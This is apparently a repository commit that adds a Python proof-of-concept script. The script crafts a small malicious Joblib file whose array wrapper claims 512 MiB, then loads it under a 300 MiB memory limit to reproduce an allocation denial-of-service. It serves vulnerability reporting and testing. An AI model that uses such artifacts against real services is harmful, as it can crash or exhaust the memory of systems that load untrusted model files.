Add reproduce.py for Joblib memory bomb PoC
Browse filesScript that generates the tiny malicious Joblib artifact and reproduces the allocation attempt.
- reproduce.py +58 -0
reproduce.py
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from __future__ import annotations
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import pickle
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import resource
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import sys
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import tempfile
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from pathlib import Path
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ROOT = Path(__file__).resolve().parents[2]
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REPO_ROOT = ROOT / "repo"
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WORKSPACE = ROOT.parents[1]
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for candidate in (
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WORKSPACE / ".pydeps-joblib",
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REPO_ROOT,
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):
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candidate_str = str(candidate)
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if candidate.exists() and candidate_str not in sys.path:
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sys.path.insert(0, candidate_str)
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import numpy as np
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from joblib import load
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from joblib.numpy_pickle import NumpyArrayWrapper
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def main() -> None:
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base = Path(tempfile.mkdtemp(prefix="joblib-wrapper-bomb-"))
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artifact_path = base / "bomb.joblib"
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wrapper = NumpyArrayWrapper(
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np.ndarray,
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(512 * 1024 * 1024,),
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"C",
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np.dtype("u1"),
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allow_mmap=False,
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)
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with artifact_path.open("wb") as f:
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pickle.dump(wrapper, f, protocol=4)
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with artifact_path.open("rb") as f:
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inert = pickle.load(f)
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print(f"artifact={artifact_path}")
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print(f"artifact_size={artifact_path.stat().st_size}")
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print(f"pickle_load={type(inert).__name__} shape={inert.shape} dtype={inert.dtype}")
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resource.setrlimit(resource.RLIMIT_AS, (300 * 1024 * 1024, 300 * 1024 * 1024))
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try:
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load(artifact_path)
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print("joblib_load=success")
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except BaseException as exc:
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print(f"joblib_load={type(exc).__name__}: {exc}")
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if __name__ == "__main__":
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main()
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